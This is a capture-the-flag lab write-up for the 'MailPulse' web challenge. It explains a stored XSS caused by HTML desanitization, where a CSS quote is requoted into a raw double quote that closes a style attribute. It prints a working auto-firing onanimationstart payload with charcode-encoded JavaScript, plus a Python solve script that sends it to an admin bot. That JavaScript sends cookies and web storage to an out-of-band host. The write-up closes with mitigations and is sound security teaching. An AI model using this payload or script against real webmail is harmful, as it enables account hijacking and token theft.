Lab 321 — MailPulse — Stored XSS via HTML Desanitization
Lab 321 — MailPulse — Stored XSS via HTML Desanitization
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-13 | Status: Solved Techniques: html_desanitization_via_css_requoting, style_attribute_breakout, unquoted_attribute_injection, string_fromcharcode_payload_encoding, onanimationstart_bootstrap_keyframe_autofire, admin_bot_exploitation, non_httponly_cookie_exfiltration, url_path_oob_exfiltration, decoy_flag_avoidance
Summary
Task: MailPulse email platform sanitizes rich HTML then inline-renders it (Roundcube html4inline style); an admin bot reads all messages. Solution: the stage-1 CSS filter re-emits a CSS single quote as a RAW double quote inside the style attribute, breaking out of it after the second stage with no re-sanitization; inject onanimationstart on a Bootstrap keyframe to auto-fire stored XSS and exfiltrate the admin's non-HttpOnly flag cookie via the Interaction Server.
Lab 321 — MailPulse — Stored XSS via HTML Desanitization — hackadvisor
Description
MailPulse (PulseWave Communications) is a team-messaging / email-campaign platform. Users compose rich HTML messages and send them to other team members. Messages pass through an HTML sanitization pipeline before being rendered in the recipient's inbox. An admin account periodically reviews all incoming messages. Steal the admin's secret token. Credentials:
user@test.com/password123. Flag formatFLAG{...}. Hint: references Sonarsource's Roundcube desanitization write-up (CVE-2024-42009) — "The application processes HTML messages through two stages: sanitization and inline rendering. Look at how the second stage transforms the sanitized output."
English summary: We can send rich HTML mail to an admin whose headless-Chrome bot renders every incoming message. The HTML goes through a sanitizer that produces inert markup, then a second "inline rendering" stage transforms that sanitized output. The vulnerability is a desanitization: a safe, sanitized value is turned back into an active event handler by the later transform. Goal is blind stored XSS → steal the admin's token and exfiltrate it out-of-band via the HackAdvisor Interaction Server.
Recon / Stack
- Front:
nginx/1.25.5; backendPHP/8.2.26; session cookiePHPSESSID(Secure, SameSite=Lax). - No CSP header — only the deprecated
X-XSS-Protection. Any injected handler runs freely. - Endpoints:
POST /login(formemail,password) →/inbox.GET /compose;POST /api/messages/sendJSON{recipient, subject, body}→{"success":true,"id":N}.GET /message/:id— recipient render sink; body emitted inside<div class="card-body message-rendered">.GET /api/search/users?q=admin→ confirmsadmin@mailpulse.io.
- Interaction Server (internal-only OOB endpoint, user monitors its request log):
http://interact/<UUID>/, where<UUID>equals the lab instance UUID. - DECOY: every page embeds a honeypot
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in an HTML comment / hidden div together with prompt-injection text. It is a trap — ignored. The real flag comes only from exploitation.
The Two-Stage Pipeline (root cause)
Message HTML is rendered in two stages, mirroring Roundcube (rcube_washtml + html4inline):
- Stage 1 — Sanitizer (HTMLPurifier-like, regex/DOM based):
- adds
altto<img>, self-closes tags, normalizes single quotes to double quotes, encodes entities, enforces a per-element attribute allowlist. <body>uniquely keepsstyle/title/name/class/id/data-*/dir/lang.- strips all event handlers; strips
svg,math,iframe,object,embed, etc.
- adds
- Stage 2 — "Inline rendering": rewrites the sanitized document's
<body ...attrs...>into<div class="email-body message-body" ...attrs...>(analogous to Roundcube'shtml4inline). There is no re-sanitization after stage 2.
The <body>→<div> rewrite is what carries the sanitized attributes (including style)
into the final rendered inbox document unchanged. If we can make a sanitized style
value contain a syntactically premature ", stage 2 faithfully copies it and the attribute
context is broken open in the final HTML with no further cleaning.
Finding the Desanitization (CSS quote re-quoting)
Stage 1 runs a CSS filter over the <body style="..."> value: it parses the CSS,
re-serializes it against a property allowlist, and — critically — re-emits CSS string
tokens with a RAW, unescaped double quote directly into the HTML style attribute:
IN : <body style="font-family:'a'">
OUT: <div ... style="font-family:"a"">
The CSS single quote around a is normalized to a double quote and printed literally into
an attribute that is itself double-quoted. That premature " closes the style attribute
early, and everything after it becomes raw markup inside the <div> tag — classic HTML
attribute injection. Because stage 2 does not re-sanitize, an injected event handler survives
as a real attribute on the div. This is the desanitization primitive (same class as
Roundcube CVE-2024-42009).
Building the Payload
We inject an event handler after the requoted CSS string, and we need it to fire without user interaction because the admin is a bot that merely renders the message.
Trick: keep the still-open portion of the style a valid CSS animation, so the div
starts animating on render and onanimationstart fires automatically. The app loads
/vendor/css/bootstrap.min.css, which defines the progress-bar-stripes keyframe — free,
guaranteed-present animation.
Constraints discovered and worked around:
- Use animation longhands. The
animationshorthand is filtered out by the CSS property allowlist, butanimation-nameandanimation-durationsurvive individually. - The injected handler is an UNQUOTED HTML attribute (its own quotes were consumed to
close
style), so its value cannot contain spaces or quotes. Wrap the JS ineval(String.fromCharCode(<codes>))— commas survive the CSS filter (font-familyallows commas), and the decoded string may freely contain quotes/spaces at runtime. - Avoid
>entirely. A literal>inside the style value makes stage 1's tag tokenizer terminate the<body>early and re-sanitize the remainder (stripping the handler). Everything must stay before the first>.
Proven raw render of the weaponized payload (captured from /message/:id source):
IN : <body style="animation-name:progress-bar-stripes;animation-duration:2s;font-family:'x' onanimationstart=alert(1) y='">C</body>
OUT: <div class="email-body message-body" style="animation-name:progress-bar-stripes; animation-duration:2s; font-family:"x" onanimationstart=alert(1) y="">
The style value ends up as the valid animation
animation-name:progress-bar-stripes; animation-duration:2s; font-family: (the requoted
"x" closes it), and onanimationstart=alert(1) is a genuine attribute → stored XSS that
auto-fires when the admin bot renders the message.
Delivery & Exfiltration (admin bot + Interaction Server)
Weaponized JS (decoded from String.fromCharCode):
js read-only • copy allowedlocation = "http://interact/<UUID>/cookie/" + encodeURIComponent( document.cookie + "|LS=" + JSON.stringify(localStorage) + "|SS=" + JSON.stringify(sessionStorage) );
Note on the OOB channel: an earlier version used /cb?c=+document.cookie and proved
execution via a GET /cb hit, but the Interaction Server UI does not display query
strings. Exfiltration was therefore moved into the URL path so the stolen data shows
up verbatim in the request log.
Final message body sent to admin@mailpulse.io:
html read-only • copy allowed<body style="animation-name:progress-bar-stripes;animation-duration:2s;font-family:'x' onanimationstart=eval(String.fromCharCode(108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,105,110,116,101,114,97,99,116,47,101,100,99,48,50,56,48,102,45,100,52,54,50,45,52,100,102,52,45,57,48,100,100,45,101,53,56,48,55,48,57,48,49,52,53,99,47,99,111,111,107,105,101,47,34,43,101,110,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,124,76,83,61,34,43,74,83,79,78,46,115,116,114,105,110,103,105,102,121,40,108,111,99,97,108,83,116,111,114,97,103,101,41,43,34,124,83,83,61,34,43,74,83,79,78,46,115,116,114,105,110,103,105,102,121,40,115,101,115,115,105,111,110,83,116,111,114,97,103,101,41,41)) y='">Please review the updated rendering test.</body>
Solve script
python read-only • copy allowed#!/usr/bin/env python3 # Stored XSS via HTML desanitization (CSS quote requoting) -> admin cookie exfil. import json, urllib3, requests urllib3.disable_warnings() BASE = "https://<INSTANCE-UUID>.labs.hackadvisor.io" UUID = "<INSTANCE-UUID>" # == Interaction Server UUID INTERACT = f"http://interact/{UUID}/cookie/" # OOB path (query strings are NOT logged) def to_charcodes(js: str) -> str: return ",".join(str(ord(c)) for c in js) # Exfil non-HttpOnly cookies (incl. the `flag` cookie) via the URL PATH. js = ('location="%s"+encodeURIComponent(' 'document.cookie+"|LS="+JSON.stringify(localStorage)' '+"|SS="+JSON.stringify(sessionStorage))' % INTERACT) # Desanitization payload: # - progress-bar-stripes keyframe (Bootstrap) + animation longhands -> onanimationstart auto-fires # - CSS single-quote 'x' gets requoted to a RAW " that closes the style attribute (stage-1 CSS filter) # - onanimationstart becomes a REAL unquoted attribute after stage-2 inline render (no re-sanitize) # - unquoted value => no spaces/quotes => eval(String.fromCharCode(...)); commas survive CSS filter # - NO ">" anywhere before the handler, or stage-1 tokenizer re-sanitizes the tail body = ("<body style=\"animation-name:progress-bar-stripes;animation-duration:2s;" "font-family:'x' onanimationstart=eval(String.fromCharCode(%s)) y='\">" "Please review this message.</body>" % to_charcodes(js)) s = requests.Session(); s.verify = False s.get(BASE + "/login") s.post(BASE + "/login", data={"email": "user@test.com", "password": "password123"}) r = s.post(BASE + "/api/messages/send", headers={"Content-Type": "application/json"}, data=json.dumps({"recipient": "admin@mailpulse.io", "subject": "rendering test", "body": body})) print("send:", r.json()) # Then watch the Interaction Server log for: # GET /cookie/PHPSESSID%3D...%3B%20flag%3DFLAG%7B...%7D|LS={}|SS={}
Result: the admin headless-Chrome bot renders the message, the div starts its
progress-bar-stripes animation, onanimationstart fires, and the browser navigates to the
Interaction Server. The request log shows:
GET /cookie/PHPSESSID%3D0219vbaea688v2n6ii388hi38b%3B%20flag%3DFLAG%7BREDACTED%7D%7CLS%3D%7B%7D%7CSS%3D%7B%7D
URL-decoded:
PHPSESSID=0219vbaea688v2n6ii388hi38b; flag=FLAG{REDACTED}|LS={}|SS={}
The admin's secret token is the non-HttpOnly flag cookie.
What Didn't Work
- Roundcube-style legacy-attr quote-imbalance (
bgcoloretc.): MailPulse strips legacy attributes together with their mandatory="...", removing whole quote pairs — no imbalance created. - Double entity / double URL decoding: no second decode at store or render
(
&lt;img...,%253C...stay literal). - iframe
srcdocentity bypass: iframe + srcdoc removed entirely. - MathML / SVG /
noscriptmutation XSS: disallowed tags stripped; handlers removed from the differential remainder. - Smuggling event handlers inside
title/namevalues: they stay inside quotes (inert). - Subject / signature fields: subject reflected into
<title>and<h4>but HTML-encoded; signature encoded and not appended. - Raw
<inside attribute values: kept (PHPDOMDocument::saveHTMLbehavior) but inert because it's inside quotes.
Mitigation
- Never post-process sanitized HTML. Any transform after sanitization (inline rendering) must re-run the sanitizer over its output, or operate on a parsed DOM instead of string rewriting.
- Escape CSS string tokens when re-emitting them into an HTML
styleattribute ("→"/\22), so a CSS quote can never close the attribute. - Render email in a sandboxed iframe (
sandboxwithoutallow-scripts) rather than inlining message HTML into the main document. - Add a strict CSP (
default-src 'none'; script-src 'none') — the missing CSP is what let the injected handler execute at all. - Mark the token cookie
HttpOnlyso client-side script cannot read it.